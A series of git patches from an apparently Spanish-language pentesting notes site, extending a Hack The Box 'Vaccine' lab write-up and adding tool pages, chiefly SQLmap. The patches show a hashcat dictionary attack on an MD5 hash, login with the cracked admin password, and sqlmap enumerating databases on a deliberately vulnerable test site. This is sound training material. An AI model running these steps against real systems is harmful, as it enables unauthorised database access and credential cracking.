constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at opensource@github.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ From 961a278d851c8ec50b7891cd92c71bd381c0940d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 10:36:16 +0200 Subject: [PATCH 0087/1701] Delete SUPPORT.md --- docs/SUPPORT.md | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 docs/SUPPORT.md diff --git a/docs/SUPPORT.md b/docs/SUPPORT.md deleted file mode 100644 index db7a5321ab3..00000000000 --- a/docs/SUPPORT.md +++ /dev/null @@ -1,9 +0,0 @@ -## Where to get help - -If you think you've found a bug in the Hacker theme, please [check the existing issues](https://github.com/pages-themes/hacker/issues), and if no one has reported the problem, [open a new issue](https://github.com/pages-themes/hacker/issues/new). - -If you have a general question about the theme, how to implement it, or how to customize it for your site you have two options: - -1. Search for your query on [`support.github.com`](https://support.github.com/?q=pages+Hacker+theme), which will also look for similar topics on [`github.community`](https://github.community/search?q=pages+Hacker+theme) -2. Ask your question of the Jekyll community on [talk.jekyllrb.com](https://talk.jekyllrb.com/) -3. [Contact GitHub Support](https://github.com/contact?form%5Bsubject%5D=GitHub%20Pages%20theme%20pages-themes/hacker) From 2f4d935fecc045df3bdc21d32b62b78d9ea56400 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 11:06:07 +0200 Subject: [PATCH 0088/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 434f1a8c14b..c5d1a9819d3 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -299,6 +299,22 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: +[HashCat](./HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +lugar, crearemos un arhivo llamado ´hash2´ donde guardamos el hash a descifrar. + +Para crear el archivo: + + echo 'Número de Hash' > hash2 + +En caso de no tener instalado HashCat: + + sudo apt install hashcat + +Ahora debemos asegurarnos que tenemos el diccionario ´rockyou.txt´ en el direcctorio ´/usr/share/wordlists/´. + +Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando: + + hashcat -a 0 -m 0 'Número Hash' /usr/share/wordlists/rockyou.txt From 665b0ff84257432d03ebaaea37b00b3510ad37be Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 11:08:01 +0200 Subject: [PATCH 0089/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index c5d1a9819d3..f2d8578cb4c 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -265,7 +265,7 @@ Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. -### Hash-Identifier: +### [Hash-Identifier:](./Hash-Identifier.html) Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. @@ -300,7 +300,7 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: [HashCat](./HashCAt.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer -lugar, crearemos un arhivo llamado ´hash2´ donde guardamos el hash a descifrar. +lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. Para crear el archivo: @@ -310,7 +310,7 @@ En caso de no tener instalado HashCat: sudo apt install hashcat -Ahora debemos asegurarnos que tenemos el diccionario ´rockyou.txt´ en el direcctorio ´/usr/share/wordlists/´. +Ahora debemos asegurarnos que tenemos el diccionario ´rockyou.txt´ en el direcctorio `/usr/share/wordlists/`. Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando: From 4566517149d66e9247716d1efce6c1c52d268db0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 11:31:51 +0200 Subject: [PATCH 0090/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 42 +++++++++++++++++++++++++++++++++++++++--- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index f2d8578cb4c..98e6b38af63 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -265,10 +265,11 @@ Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. -### [Hash-Identifier:](./Hash-Identifier.html) +### Hash-Identifier: Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. +Podéis encontrar más información aquí: [Hash Identifier](./Hash-Identifier.html) Para instalar: @@ -310,17 +311,52 @@ En caso de no tener instalado HashCat: sudo apt install hashcat -Ahora debemos asegurarnos que tenemos el diccionario ´rockyou.txt´ en el direcctorio `/usr/share/wordlists/`. +Ahora debemos asegurarnos que tenemos el diccionario `rockyou.txt` en el direcctorio `/usr/share/wordlists/`. +Podemos descargarnos o copiar el diccionario `rockyou.txt` en el siguiente enlace: +https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando: hashcat -a 0 -m 0 'Número Hash' /usr/share/wordlists/rockyou.txt +-a : Attack-mode. El 0 representa el modo 'Straight'. +-m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando ´hashcat --help´. +hash2 : Nombre del archivo que contiene el hash que queremos descifrar. +rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. + + +Como podemos ver, Hashcat descifró la contraseña: qwerty789 + +## Acceso al Sistema: + +Ya conocemos un usuario ´admin´ y una contraseña ´qwerty789´, con esta información vamos a volver a la página web donde nos +aparecia una pagina de inicio de sesión y vamos a tratar de acceder utilizando estos datos. + +Genial, podemos ver como tenemos acceso como el usuaio ´admin´. + +Tras revisar el contenido de la página, vemos como el tablero no reporta nada especial, sin embargo, nos muestra un catálogo que +podría estar conectado con la base de datos. + +Vamos a tratar de realizar algunas consultas y ver que ocurre: + +Al verificar la URL, podemos ver que hay una variable ´$search´ que es responsable de buscar en el catálogo. + +Tras ver esto, vamos a probar si es vulnerable a una inyeccion SQL, se puede hacer manualmente, pero para facilitarnos el trabajo +usaremos una herramienta llamada ´Sqlmap´. + +## SQLMAP + +SQLmap es una herramienta de código abierto utilizada en pruebas de penetración para detectar y explotar fallas de inyección SQL. SQLmap automatiza +el proceso de detección y explotación de inyección SQL. Los ataques de inyección de SQL pueden tomar el control de las bases de datos que utilizan SQL. - +Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio si no lo tiene: + + vsudo apt install sqlmap + + From 51ecd486396431a83de670a54f5c41c1afd3d0f4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 11:33:19 +0200 Subject: [PATCH 0091/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index 98e6b38af63..c0aa7ede099 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -354,7 +354,7 @@ el proceso de detección y explotación de inyección SQL. Los ataques de inyecc Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio si no lo tiene: - vsudo apt install sqlmap + sudo apt install sqlmap From d2a8a1d5b7cbaf9673158fcf3455042ab325d243 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 11:38:54 +0200 Subject: [PATCH 0092/1701] Update HTB-Vaccine.md --- HTB-Vaccine.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/HTB-Vaccine.md b/HTB-Vaccine.md index c0aa7ede099..433a94505f6 100644 --- a/HTB-Vaccine.md +++ b/HTB-Vaccine.md @@ -321,7 +321,7 @@ Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos -a : Attack-mode. El 0 representa el modo 'Straight'. --m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando ´hashcat --help´. +-m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. hash2 : Nombre del archivo que contiene el hash que queremos descifrar. @@ -332,20 +332,20 @@ Como podemos ver, Hashcat descifró la contraseña: qwerty789 ## Acceso al Sistema: -Ya conocemos un usuario ´admin´ y una contraseña ´qwerty789´, con esta información vamos a volver a la página web donde nos +Ya conocemos un usuario `admin` y una contraseña `qwerty789`, con esta información vamos a volver a la página web donde nos aparecia una pagina de inicio de sesión y vamos a tratar de acceder utilizando estos datos. -Genial, podemos ver como tenemos acceso como el usuaio ´admin´. +Genial, podemos ver como tenemos acceso como el usuaio `admin`. Tras revisar el contenido de la página, vemos como el tablero no reporta nada especial, sin embargo, nos muestra un catálogo que podría estar conectado con la base de datos. Vamos a tratar de realizar algunas consultas y ver que ocurre: -Al verificar la URL, podemos ver que hay una variable ´$search´ que es responsable de buscar en el catálogo. +Al verificar la URL, podemos ver que hay una variable `$search` que es responsable de buscar en el catálogo. Tras ver esto, vamos a probar si es vulnerable a una inyeccion SQL, se puede hacer manualmente, pero para facilitarnos el trabajo -usaremos una herramienta llamada ´Sqlmap´. +usaremos una herramienta llamada `Sqlmap`. ## SQLMAP From 1362148ebebb4dc66429e313d7735dce4a55c111 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 15:45:01 +0200 Subject: [PATCH 0093/1701] Delete README.md --- README.md | 116 ------------------------------------------------------ 1 file changed, 116 deletions(-) delete mode 100644 README.md diff --git a/README.md b/README.md deleted file mode 100644 index 4c2fac074ba..00000000000 --- a/README.md +++ /dev/null @@ -1,116 +0,0 @@ -# The Hacker theme - -[![.github/workflows/ci.yaml](https://github.com/pages-themes/hacker/actions/workflows/ci.yaml/badge.svg)](https://github.com/pages-themes/hacker/actions/workflows/ci.yaml) [![Gem Version](https://badge.fury.io/rb/jekyll-theme-hacker.svg)](https://badge.fury.io/rb/jekyll-theme-hacker) - -*Hacker is a Jekyll theme for GitHub Pages. You can [preview the theme to see what it looks like](http://pages-themes.github.io/hacker), or even [use it today](#usage).* - -![Thumbnail of Hacker](thumbnail.png) - -## Usage - -To use the Hacker theme: - -1. Add the following to your site's `_config.yml`: - - ```yml - remote_theme: pages-themes/hacker@v0.2.0 - plugins: - - jekyll-remote-theme # add this line to the plugins list if you already have one - ``` - -2. Optionally, if you'd like to preview your site on your computer, add the following to your site's `Gemfile`: - - ```ruby - gem "github-pages", group: :jekyll_plugins - ``` - -## Customizing - -### Configuration variables - -Hacker will respect the following variables, if set in your site's `_config.yml`: - -```yml -title: [The title of your site] -description: [A short description of your site's purpose] -``` - -Additionally, you may choose to set the following optional variables: - -```yml -show_downloads: ["true" or "false" (unquoted) to indicate whether to provide a download URL] -google_analytics: [Your Google Analytics tracking ID] -``` - -### Stylesheet - -If you'd like to add your own custom styles: - -1. Create a file called `/assets/css/style.scss` in your site -2. Add the following content to the top of the file, exactly as shown: - ```scss - --- - --- - - @import "{{ site.theme }}"; - ``` -3. Add any custom CSS (or Sass, including imports) you'd like immediately after the `@import` line - -*Note: If you'd like to change the theme's Sass variables, you must set new values before the `@import` line in your stylesheet.* - -### Layouts - -If you'd like to change the theme's HTML layout: - -1. For some changes such as a custom `favicon`, you can add custom files in your local `_includes` folder. The files [provided with the theme](https://github.com/pages-themes/hacker/tree/master/_includes) provide a starting point and are included by the [original layout template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html). -2. For more extensive changes, [copy the original template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) from the theme's repository
(*Pro-tip: click "raw" to make copying easier*) -3. Create a file called `/_layouts/default.html` in your site -4. Paste the default layout content copied in the first step -5. Customize the layout as you'd like - -### Customizing Google Analytics code - -Google has released several iterations to their Google Analytics code over the years since this theme was first created. If you would like to take advantage of the latest code, paste it into `_includes/head-custom-google-analytics.html` in your Jekyll site. - -### Overriding GitHub-generated URLs - -Templates often rely on URLs supplied by GitHub such as links to your repository or links to download your project. If you'd like to override one or more default URLs: - -1. Look at [the template source](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) to determine the name of the variable. It will be in the form of `{{ site.github.zip_url }}`. -2. Specify the URL that you'd like the template to use in your site's `_config.yml`. For example, if the variable was `site.github.url`, you'd add the following: - ```yml - github: - zip_url: http://example.com/download.zip - another_url: another value - ``` -3. When your site is built, Jekyll will use the URL you specified, rather than the default one provided by GitHub. - -*Note: You must remove the `site.` prefix, and each variable name (after the `github.`) should be indent with two space below `github:`.* - -For more information, see [the Jekyll variables documentation](https://jekyllrb.com/docs/variables/). - -## Roadmap - -See the [open issues](https://github.com/pages-themes/hacker/issues) for a list of proposed features (and known issues). - -## Project philosophy - -The Hacker theme is intended to make it quick and easy for GitHub Pages users to create their first (or 100th) website. The theme should meet the vast majority of users' needs out of the box, erring on the side of simplicity rather than flexibility, and provide users the opportunity to opt-in to additional complexity if they have specific needs or wish to further customize their experience (such as adding custom CSS or modifying the default layout). It should also look great, but that goes without saying. - -## Contributing - -Interested in contributing to Hacker? We'd love your help. Hacker is an open source project, built one contribution at a time by users like you. See [the CONTRIBUTING file](docs/CONTRIBUTING.md) for instructions on how to contribute. - -### Previewing the theme locally - -If you'd like to preview the theme locally (for example, in the process of proposing a change): - -1. Clone down the theme's repository (`git clone https://github.com/pages-themes/hacker`) -2. `cd` into the theme's directory -3. Run `script/bootstrap` to install the necessary dependencies -4. Run `bundle exec jekyll serve` to start the preview server -5. Visit [`localhost:4000`](http://localhost:4000) in your browser to preview the theme - -### Running tests - -The theme contains a minimal test suite, to ensure a site with the theme would build successfully. To run the tests, simply run `script/cibuild`. You'll need to run `script/bootstrap` once before the test script will work. From 2e3ec18df6f59d54dfa1e7518acb6537c5ac5603 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 16:47:04 +0200 Subject: [PATCH 0094/1701] Create SQLmap.md --- SQLmap.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 SQLmap.md diff --git a/SQLmap.md b/SQLmap.md new file mode 100644 index 00000000000..42629f27a26 --- /dev/null +++ b/SQLmap.md @@ -0,0 +1,23 @@ +![sqlmap5](https://user-images.githubusercontent.com/103068924/165544200-129ff90c-fe4b-41cf-acf9-689a9575c0c1.png) + +# SQLMAP + +## ¿Qué es SQLMAP? + +Sqlmap es un software de código abierto que se utiliza para detectar y explotar las vulnerabilidades de las bases de datos y brinda opciones para +inyectarles códigos maliciosos. Viene con un potente motor de detección al cual le podemos especificar distintas variables. + +### Características: + +Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede +identificar Microsoft Access, DB2, Informix, Sybase y Interbase. + +Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de +comparación y características específicas tales como MySQL comment injection. + +También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben. +Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection. + + + + From cb5afe3538f3995ad8a1684a5027670a2507d033 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 16:48:28 +0200 Subject: [PATCH 0095/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 6eb55903e89..ecc52d04f05 100644 --- a/index.md +++ b/index.md @@ -27,6 +27,8 @@ [WPScan](./WPScan.html) +[SQLmap](./SQLmap.html) + # Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From dce8e9f8dc44c06a48446ff389b78e70166ec88b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 16:57:54 +0200 Subject: [PATCH 0096/1701] Update SQLmap.md --- SQLmap.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/SQLmap.md b/SQLmap.md index 42629f27a26..a9ef957a22b 100644 --- a/SQLmap.md +++ b/SQLmap.md @@ -1,4 +1,4 @@ -![sqlmap5](https://user-images.githubusercontent.com/103068924/165544200-129ff90c-fe4b-41cf-acf9-689a9575c0c1.png) +![sqlmap5](https://user-images.githubusercontent.com/103068924/165548242-89c75a3a-585f-4081-9289-93d2b9c9ed8e.png) # SQLMAP @@ -18,6 +18,11 @@ comparación y características específicas tales como MySQL comment injection. También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben. Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection. +### Instalando SQLMAP: +SQLMAP viene preinstalado con kali linux, que es la opción preferida de la mayoría de los probadores de penetración. Sin embargo, puede instalar sqlmap +en otros sistemas Linux basados en Debian usando el comando: + + sudo apt-get install sqlmap From e637108463db5c6b8dfef59024cd43407d24ab9d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:05:45 +0200 Subject: [PATCH 0097/1701] Update SQLmap.md --- SQLmap.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/SQLmap.md b/SQLmap.md index a9ef957a22b..6cf34675739 100644 --- a/SQLmap.md +++ b/SQLmap.md @@ -24,5 +24,14 @@ SQLMAP viene preinstalado con kali linux, que es la opción preferida de la mayo en otros sistemas Linux basados en Debian usando el comando: sudo apt-get install sqlmap + +# Ejecución de SQLMap: +### Paso 1: Enumere información sobre las bases de datos existentes: + sqlmap -u [Url Víctima] --dbs + +Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro -u. También podemos usar el parámetro –tor si deseamos probar el +sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción –dbs para hacerlo. –dbs enumera todas las bases de datos disponibles. + +Ejemplo: ´sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs´ From 90854b5f1771d6dab26fa45f4bde04169b8cd8cd Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:06:13 +0200 Subject: [PATCH 0098/1701] Update SQLmap.md --- SQLmap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SQLmap.md b/SQLmap.md index 6cf34675739..22100c16f66 100644 --- a/SQLmap.md +++ b/SQLmap.md @@ -34,4 +34,4 @@ en otros sistemas Linux basados en Debian usando el comando: Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro -u. También podemos usar el parámetro –tor si deseamos probar el sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción –dbs para hacerlo. –dbs enumera todas las bases de datos disponibles. -Ejemplo: ´sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs´ +Ejemplo: `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs` From 38d11057925901351dbe8b476311cf641a7d7d35 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:19:08 +0200 Subject: [PATCH 0099/1701] Create Aria2 --- Aria2 | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 Aria2 diff --git a/Aria2 b/Aria2 new file mode 100644 index 00000000000..7b7f8b6760e --- /dev/null +++ b/Aria2 @@ -0,0 +1,22 @@ +# Aria2 + +### ¿Qué es Aria2? + +Se trata de una herramienta para descargar archivos por torrent desde la terminal. Es un método sencillo pero tiene la desventaja de que puede descargar +pocos torrents al mismo tiempo, ya que si tratamos de descargar varios al mismo tiempo la velocidad de descarga se ve muy afectada. + +### Instalar: + + sudo apt install aria2 + +### Para descargar archivos.torrent: + +Podemos realizar la descarga con un archivo .torrent: + + aria2c "archivo.torrent" + +Tambien podemos descargar el torrent directamente con la url: + + aria2c "URL del Torrent" + +Los archvios descargados se guardan de forma automática en el directorio `/home/user/`. From ea5b9b71adedf28a9707a2e5cb06101a48895d93 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:32:03 +0200 Subject: [PATCH 0100/1701] Update index.md --- index.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/index.md b/index.md index ecc52d04f05..5a686591c72 100644 --- a/index.md +++ b/index.md @@ -11,22 +11,24 @@ # Herramientas y Scripts -[WichSystem](./WichSystem.html) +### Reporte y reconocimiento: -[ExtractPorts](./ExtractPorts.html) +[WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) -[php-reverse-shell.php](./php-reverse-shell.html) +### Shells: -[John the Ripper](./john_the_ripper.html) +[php-reverse-shell.php](./php-reverse-shell.html) -[HashID](./HashId.html) +### Hash: -[Hash Identifier](./Hash-Identifier.html) +[John the Ripper](./john_the_ripper.html) [HashID](./HashId.html) [Hash Identifier](./Hash-Identifier.html) [HashCat](./HashCat.html) -[HashCat](./HashCat.html) +### WordPress: [WPScan](./WPScan.html) +### SQL: + [SQLmap](./SQLmap.html) # Artículos From dbb55b072255c6d2ceee2fc98cf733ddbf5b5910 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:35:34 +0200 Subject: [PATCH 0101/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 5a686591c72..0a419c1e0f2 100644 --- a/index.md +++ b/index.md @@ -13,7 +13,7 @@ ### Reporte y reconocimiento: -[WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) +[WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) ### Shells: @@ -21,7 +21,7 @@ ### Hash: -[John the Ripper](./john_the_ripper.html) [HashID](./HashId.html) [Hash Identifier](./Hash-Identifier.html) [HashCat](./HashCat.html) +[John the Ripper](./john_the_ripper.html) [HashID](./HashId.html) [Hash Identifier](./Hash-Identifier.html) [HashCat](./HashCat.html) ### WordPress: From 46fa0ca23c302ee488d7ab38c536123d8bbba8db Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:39:01 +0200 Subject: [PATCH 0102/1701] Update index.md --- index.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 0a419c1e0f2..2824ee1a129 100644 --- a/index.md +++ b/index.md @@ -13,7 +13,8 @@ ### Reporte y reconocimiento: -[WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) +1.[WichSystem](./WichSystem.html) +2.[ExtractPorts](./ExtractPorts.html) ### Shells: @@ -21,7 +22,10 @@ ### Hash: -[John the Ripper](./john_the_ripper.html) [HashID](./HashId.html) [Hash Identifier](./Hash-Identifier.html) [HashCat](./HashCat.html) +1.[John the Ripper](./john_the_ripper.html) +2.[HashID](./HashId.html) +3.[Hash Identifier](./Hash-Identifier.html) +4.[HashCat](./HashCat.html) ### WordPress: From 7b324ba003a9bc08885861b5275b3b0d1ebe2c0f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 27 Apr 2022 17:40:57 +0200 Subject: [PATCH 0103/1701] Update index.md --- index.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/index.md b/index.md index 2824ee1a129..4cb4588203c 100644 --- a/index.md +++ b/index.md @@ -8,6 +8,7 @@ [HTB-Vaccine](./HTB-Vaccine.html) +--- # Herramientas y Scripts @@ -35,6 +36,8 @@ [SQLmap](./SQLmap.html) +--- + # Artículos [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) From 5cdff3f1707f87776dcdbbb9bba61332c7270de1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 19:20:29 +0200 Subject: [PATCH 0104/1701] Create Como conectarse a HTB.md --- Como conectarse a HTB.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 Como conectarse a HTB.md diff --git a/Como conectarse a HTB.md b/Como conectarse a HTB.md new file mode 100644 index 00000000000..f4845f5ff55 --- /dev/null +++ b/Como conectarse a HTB.md @@ -0,0 +1,17 @@ +# Como conectarse a las máquinas de Hack the Box por VPN: + +[https://www.hackthebox.com/](https://www.hackthebox.com/) + +En este artículo os mostraré como conectarse a cualquier servicio de HTB (Hack The Box) a traves de sus VPN. +HTB utiliza VPN para los disntintos servicios que se utilizan. A groso modo, las `starting_points` utilizan una VPV, las `máquinas` utilizan otras +y así con cada uno de los dinstintos grupos de servicio que ofrecen, como su `academia`, los `battlegrounds`, etc. + +En primer lugar, debemos estar registrados en la plataforma, la plataforma ofrece una gran cantidad de máquinas gratuitas, y luego, también nos ofrece +distintas versiones de pago las culaes ofrecen grandes ventajas, mallor número de máquinas, nos da la opción de realizar máquinas retiradas, más clases +y muchas otros productos. Todo esto lo podemos ver en la misma página de inicio de Hack the Box. + + + + + + From 3f3fb36798e51ed089832c1970090ed3127bb017 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:03:42 +0200 Subject: [PATCH 0105/1701] Update Como conectarse a HTB.md --- Como conectarse a HTB.md | 58 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 54 insertions(+), 4 deletions(-) diff --git a/Como conectarse a HTB.md b/Como conectarse a HTB.md index f4845f5ff55..64bf93984f6 100644 --- a/Como conectarse a HTB.md +++ b/Como conectarse a HTB.md @@ -2,16 +2,66 @@ [https://www.hackthebox.com/](https://www.hackthebox.com/) -En este artículo os mostraré como conectarse a cualquier servicio de HTB (Hack The Box) a traves de sus VPN. -HTB utiliza VPN para los disntintos servicios que se utilizan. A groso modo, las `starting_points` utilizan una VPV, las `máquinas` utilizan otras -y así con cada uno de los dinstintos grupos de servicio que ofrecen, como su `academia`, los `battlegrounds`, etc. +En este artículo os mostraré como conectarse a cualquier servicio de HTB (Hack The Box) a través de sus VPN. +HTB utiliza VPN para los distintos servicios que se utilizan. Resumiendo, las `starting_points` utilizan una VPV, las `máquinas` usan otras +y así con cada uno de los distintos grupos de servicio que ofrecen, como su `academia`, los `battlegrounds`, etc. En primer lugar, debemos estar registrados en la plataforma, la plataforma ofrece una gran cantidad de máquinas gratuitas, y luego, también nos ofrece -distintas versiones de pago las culaes ofrecen grandes ventajas, mallor número de máquinas, nos da la opción de realizar máquinas retiradas, más clases +distintas versiones de pago, las cuales ofrecen grandes ventajas, mayor número de máquinas, nos da la opción de realizar máquinas retiradas, más clases y muchas otros productos. Todo esto lo podemos ver en la misma página de inicio de Hack the Box. +Para conectarnos con HTB primero tendremos que descargarnos un archivo .ovpn que HTB nos proporcionará. Para ello, desde nuestra página, una vez hemos +ingresado, nos dirigimos al boton que se encuentra arriba a la derecha que pone `Connect to HTB`: +![Captura de pantalla -2022-04-28 18-51-22](https://user-images.githubusercontent.com/103068924/165812472-cdb9d43e-6d38-4b5a-a0bb-ec6a693ff456.png) +Dependiendo del tipo de servicio que queremos realizar, nos descargamos una u otra, en el caso de querer realizar una máquina nos descargaremos +el archivo de la pestaña `máquinas`, en nuestro caso, como estamos empezando, primero realizaremos las máquinas de 